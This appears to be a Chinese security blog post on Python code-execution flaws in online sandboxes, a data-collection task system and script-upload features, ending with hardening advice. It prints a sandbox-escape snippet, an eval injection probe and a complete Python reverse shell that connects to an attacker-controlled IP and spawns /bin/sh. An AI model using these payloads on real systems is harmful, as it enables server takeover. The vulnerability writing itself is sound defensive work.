嗨~大家好,这次准备分享一下 python 相关的漏洞案例,以及如何安全的使用 python 进行开发。 常见的使用 python 的场景有如下几种: 1.在线的python编译器 2.用于数据采集的系统中可执行 python 命令 3.用于上传 python 脚本执行任务功能点
python 编译器
python 编译器常见的就是各种学习网站提供的在线练习工具以及量化交易系统中策略设置功能,这两种的原理都是将用户提交的 python 语句通过 POST 数据包传输到服务器端,并通过服务器端的编译器运行后返回结果。存在的风险点就是黑名单做的不够完善导致沙箱被绕过能够执行系统任意代码,如下所示: 这种就属于未做任何防护的 python 沙箱orz。 还有些量化交易系统未做全面的黑名单,导致还是可以采用一些绕过方式来绕过沙箱,关于绕过的方式可以百度,真的很全面,由于之前搞的一个网站现在下线了,临时找了个类似的交易系统做个简单的例子:
import sys
import os
print(sys.path)
print(os.system('cat /opt/conda/envs/kuanke/lib/python2.7/os.py'))
print ().__class__.__bases__[0].__subclasses__()[40]("/opt/conda/envs/kuanke/lib/python2.7/os.py").read()
以上代码运行后的图如下所示: 对付黑名单只要稍微下点苦工便可以绕过。最好的方式当然是在 python 沙箱外再搞一个 docker,这点后面也会讲到。
数据采集系统
这种类似系统一般都是用于运行各类任务,搞 AI 的都是大佬,因此自动化是必须的啦,界面不方便截图,这里就简单描述一下该功能: 系统后台存在新建任务功能,点击后观察到有个是否分块选项,选项中有两种类型:re 和 xpath,是不是熟悉的感觉? 没错!猜测他后端调用了 python,请求参数 data=是可控的,那么就可以尝试 python 的命令执行。
data=eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))
执行命令后延迟了18秒,由此可知此处是可以任意命令执行的,且对 data 类型无任何过滤和检查。
脚本上传
由于业务功能提供在限制性 python 脚本作业的功能,但由于未过滤敏感函数导致执行系统命令。在项目中点击上传,上传一个 Python脚本,脚本内写入反弹语句,再点击运行,发现可以使用 root 权限执行系统命令。 反弹语句示例如下:
import socket,subprocess,os
IP_In_Control="IP" //某台由攻击者控制的机器 IP
Port=8888
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP_In_Control,Port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
收到反弹的 shell,为 root 权限,可执行任意操作。
此处的案例的修复方式和在线编译器的修复方式大致一样,属于互补的: 1.设置沙盒环境,且对脚本的执行设置非管理员权限、禁止跨目录上传。 2.对于需要上传自定义脚本到服务器上执行的需求,需要对脚本执行环境的目录做严格的读、写、执行权限限制和用户权限限制,防止执行任意系统命令。 3.需要做好云容器 k8s 权限控制,让不同用户分别访问各自的命名空间和对应的资源。